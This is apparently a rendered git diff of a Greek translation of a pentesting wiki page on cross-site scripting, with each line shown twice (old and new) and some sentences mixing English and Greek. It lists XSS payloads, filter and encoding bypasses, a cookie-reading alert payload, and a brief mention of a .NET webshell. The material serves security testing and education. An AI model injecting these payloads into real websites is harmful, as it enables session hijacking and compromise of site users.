Η μέθοδος .NET `System.Diagnostics.Process.Start` μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) Η μέθοδος .NET `System.Diagnostics.Process.Start` μπορεί να χρησιμοποιηθεί για να ξεκινήσει οποιαδήποτε διαδικασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης εφαρμογής ιστού στο [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Περισσότερες πληροφορίες** **Περισσότερες πληροφορίες**

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting) # XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
@ -43,9 +43,9 @@
Για να εκμεταλλευτείτε με επιτυχία μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανακλάται** στη σελίδα web. Για να εκμεταλλευτείτε με επιτυχία μια XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια **τιμή που ελέγχετε και αντανακλάται** στη σελίδα web.
* **Ενδιάμεσα αντανακλώμενη**: Αν διαπιστώσετε ότι η τιμή μιας παραμέτρου ή ακόμη και του μονοπατιού αντανακλάται στη σελίδα web θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**. * **Ενδιάμεσα αντανακλώμενη**: Αν διαπιστώσετε ότι η τιμή μιας παραμέτρου ή ακόμη και του μονοπατιού αντανακλάται στη σελίδα web, θα μπορούσατε να εκμεταλλευτείτε μια **Reflected XSS**.
* **Αποθηκευμένη και αντανακλώμενη**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**. * **Αποθηκευμένη και αντανακλώμενη**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που αποκτάτε πρόσβαση σε μια σελίδα, θα μπορούσατε να εκμεταλλευτείτε μια **Stored XSS**.
* **Πρόσβαση μέσω JS**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**. * **Πρόσβαση μέσω JS**: Αν διαπιστώσετε ότι μια τιμή που ελέγχετε αποκτάται χρησιμοποιώντας JS, θα μπορούσατε να εκμεταλλευτείτε μια **DOM XSS**.
## Πλαίσια ## Πλαίσια
@ -54,7 +54,7 @@
### Ακατέργαστο HTML ### Ακατέργαστο HTML
Αν η είσοδός σας **αντανακλάται στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **ετικέτα HTML** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\ Αν η είσοδός σας **αντανακλάται στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **ετικέτα HTML** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
Επίσης, έχετε κατά νου [Client Side Template Injection](../client-side-template-injection-csti.md). Επίσης, έχετε κατά νου την [Client Side Template Injection](../client-side-template-injection-csti.md).
### Μέσα σε χαρακτηριστικά ετικετών HTML ### Μέσα σε χαρακτηριστικά ετικετών HTML
@ -62,7 +62,7 @@
1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]` 1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
2. Αν **μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="` 2. Αν **μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανακλάται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`** 3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο χαρακτηριστικό** αντανακλάται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
4. Αν η είσοδός σας αντανακλάται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`** 4. Αν η είσοδός σας αντανακλάται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποια μορφή κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης: Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
@ -76,11 +76,11 @@
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
* Αν είναι αντανάκλαση μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμη και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML. * Αν είναι αντανάκλαση μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμη και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
* Αν είναι αντανάκλαση **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί): * Αν είναι αντανάκλαση **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
* `'-alert(1)-'` * `'-alert(1)-'`
* `';-alert(1)//` * `';-alert(1)//`
* `\';alert(1)//` * `\';alert(1)//`
* Αν είναι αντανάκλαση μέσα σε πρότυπες κυριολεξίες μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` * Αν είναι αντανάκλαση μέσα σε πρότυπες κυριολεξίες, μπορείτε να **ενσωματώσετε εκφράσεις JS** χρησιμοποιώντας τη σύνταξη `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
* **Η κωδικοποίηση Unicode** λειτουργεί για να γράψει **έγκυρο κώδικα javascript**: * **Η κωδικοποίηση Unicode** λειτουργεί για να γράψει **έγκυρο κώδικα javascript**:
```javascript ```javascript
\u{61}lert(1) \u{61}lert(1)
@ -106,7 +106,7 @@ Javascript Hoisting αναφέρεται στην ευκαιρία να **δηλ
Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ συνηθισμένο αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
![](<../../.gitbook/assets/image (747).png>) ![](<../../.gitbook/assets/image (747).png>)
@ -155,26 +155,26 @@ parentElement
## Εισαγωγή μέσα σε ακατέργαστο HTML ## Εισαγωγή μέσα σε ακατέργαστο HTML
Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλά προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\ Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτή την περίπτωση**.\
Για αυτές τις περιπτώσεις επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ Για αυτές τις περιπτώσεις επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\***** ****`-->`**** ****ή \*\*\*\*****`--!>`**_ _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\*\*\***** ****`-->`**** ****ή \*\*\*\*****`--!>`**_
Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: Σε αυτή την περίπτωση και αν δεν χρησιμοποιείται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
```html ```html
<script>alert(1)</script> <script>alert(1)</script>
<img src=x onerror=alert(1) /> <img src=x onerror=alert(1) />
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα για ετικέτες/χαρακτηριστικά, θα χρειαστεί να **δοκιμάσεις ποια ετικέτες** μπορείς να δημιουργήσεις.\ Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα για τις ετικέτες/attributes, θα χρειαστεί να **δοκιμάσετε ποια tags** μπορείτε να δημιουργήσετε.\
Μόλις **εντοπίσεις ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσεις χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δεις πώς μπορείς να επιτεθείς στο πλαίσιο. Μόλις έχετε **εντοπίσει ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε attributes/events** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο περιεχόμενο.
### Δοκιμή ετικετών/γεγονότων ### Tags/Events brute-force
Πήγαινε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάνε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλε όλες αυτές χρησιμοποιώντας το Burp intruder και έλεγξε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψεις ποιες ετικέτες μπορείς να χρησιμοποιήσεις, μπορείς να **δοκιμάσεις όλα τα γεγονότα** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάνε κλικ στο _**Αντιγραφή γεγονότων στο πρόχειρο**_ και ακολούθησε την ίδια διαδικασία όπως πριν). Πηγαίνετε στο [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) και κάντε κλικ στο _**Αντιγραφή ετικετών στο πρόχειρο**_. Στη συνέχεια, στείλτε όλες αυτές χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποια ετικέτα δεν ανακαλύφθηκε ως κακόβουλη από το WAF. Μόλις ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να **δοκιμάσετε όλα τα events** χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο _**Αντιγραφή events στο πρόχειρο**_ και ακολουθήστε την ίδια διαδικασία όπως πριν).
### Προσαρμοσμένες ετικέτες ### Custom tags
Αν δεν βρεις καμία έγκυρη HTML ετικέτα, μπορείς να προσπαθήσεις να **δημιουργήσεις μια προσαρμοσμένη ετικέτα** και να εκτελέσεις κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσεις το URL με `#` για να κάνεις τη σελίδα **να εστιάσει σε αυτό το αντικείμενο** και να **εκτελέσει** τον κώδικα: Αν δεν βρήκατε καμία έγκυρη HTML ετικέτα, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το attribute `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
``` ```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
``` ```
@ -233,7 +233,7 @@ onerror=alert`1`
### Length bypass (small XSSs) ### Length bypass (small XSSs)
{% hint style="info" %} {% hint style="info" %}
**Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να τα βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me). **Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
{% endhint %} {% endhint %}
```html ```html
<!-- Taken from the blog of Jorge Lajara --> <!-- Taken from the blog of Jorge Lajara -->
@ -280,7 +280,7 @@ If you **cannot escape from the tag**, you could create new attributes inside th
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση** **Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML ετικετών **αποκωδικοποιούνται κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>` Οι **HTML κωδικοποιημένοι χαρακτήρες** μέσα στην τιμή των χαρακτηριστικών HTML είναι **αποκωδικοποιημένοι κατά την εκτέλεση**. Επομένως, κάτι σαν το παρακάτω θα είναι έγκυρο (το payload είναι με έντονα γράμματα): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**: Σημειώστε ότι **οποιαδήποτε μορφή HTML κωδικοποίησης είναι έγκυρη**:
```javascript ```javascript
@ -355,11 +355,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**Άλλες τεχνικές απόκρυψης** **Άλλες τεχνικές απόκρυψης**
_**Σε αυτή την περίπτωση, η κωδικοποίηση HTML και η τεχνική κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρες καθώς βρίσκεστε μέσα σε ένα χαρακτηριστικό.**_ _**Σε αυτή την περίπτωση, το HTML encoding και το Unicode encoding trick από την προηγούμενη ενότητα είναι επίσης έγκυρα καθώς βρίσκεστε μέσα σε ένα attribute.**_
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
Επιπλέον, υπάρχει ένα άλλο **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα και αν η είσοδός σας μέσα στο `javascript:...` είναι κωδικοποιημένη URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειαστεί να **ξεφύγετε** από τη **σειρά** χρησιμοποιώντας ένα **μονό απόσπασμα** και βλέπετε ότι **κωδικοποιείται URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονό απόσπασμα** κατά τη διάρκεια του **χρόνου εκτέλεσης.** Moreover, there is another **nice trick** for these cases: **Ακόμα και αν η είσοδός σας μέσα στο `javascript:...` είναι κωδικοποιημένη URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** So, if you need to **escape** from the **string** using a **single quote** and you see that **κωδικοποιείται URL**, remember that **δεν έχει σημασία,** it will be **interpreted** as a **single quote** during the **execution** time.
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
@ -385,7 +385,7 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
```javascript ```javascript
<a target="_blank" rel="opener" <a target="_blank" rel="opener"
``` ```
Αν μπορείτε να εισάγετε οποιαδήποτε διεύθυνση URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα **`target="_blank" και rel="opener"`** χαρακτηριστικά, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**: Αν μπορείτε να εισάγετε οποιαδήποτε διεύθυνση URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα χαρακτηριστικά **`target="_blank" και rel="opener"`**, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
{% content-ref url="../reverse-tab-nabbing.md" %} {% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md) [reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
@ -424,7 +424,7 @@ Android: %09 %20 %28 %2C %3B
<button popovertarget="newsletter">Subscribe to newsletter</button> <button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div> <div popover id="newsletter">Newsletter popup</div>
``` ```
Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό χαρακτηριστικό**, εφόσον μπορείτε να **πεισθείτε** τον **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό πρόσβασης. Ακολουθεί το vector: Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό χαρακτηριστικό**, εφόσον μπορείτε να **πεισθείτε** τον **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό πρόσβασης. Εδώ είναι ο φορέας:
```markup ```markup
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
``` ```
@ -470,7 +470,7 @@ Android: %09 %20 %28 %2C %3B
## Εισαγωγή μέσα στον κωδικό JavaScript ## Εισαγωγή μέσα στον κωδικό JavaScript
Σε αυτές τις περιπτώσεις η **είσοδός σου** θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ HTML events που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. Σε αυτές τις περιπτώσεις η **είσοδός** σου θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`.
### Διαφυγή ετικέτας \<script> ### Διαφυγή ετικέτας \<script>
@ -550,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
'\t' //tab '\t' //tab
// Any other char escaped is just itself // Any other char escaped is just itself
``` ```
**Αντικαταστάσεις χώρου μέσα στον κώδικα JS** **Αντικαταστάσεις κενών μέσα στον κώδικα JS**
```javascript ```javascript
<TAB> <TAB>
/**/ /**/
@ -743,7 +743,7 @@ top[8680439..toString(30)](1)
{% endcontent-ref %} {% endcontent-ref %}
Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι δημιουργικές ευπάθειες, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\ Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι δημιουργικές ευπάθειες, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για τις [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering). Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
### Αναβάθμιση Self-XSS ### Αναβάθμιση Self-XSS
@ -820,24 +820,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3) document['default'+'View'][`\u0061lert`](3)
``` ```
### XSS με έγχυση κεφαλίδων σε απόκριση 302 ### XSS με έγχυση κεφαλίδων σε απάντηση 302
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **εκτελέσετε αυθαίρετο JavaScript** στον περιηγητή. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο. Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απάντηση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της HTTP απάντησης αν ο κωδικός κατάστασης της HTTP απάντησης είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
Στην [**αναφορά αυτή**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\ Στο [**αυτή την αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το XSS payload μέσα στο σώμα.\
Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`. Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
### Μόνο Γράμματα, Αριθμοί και Τελείες ### Μόνο Γράμματα, Αριθμοί και Τελείες
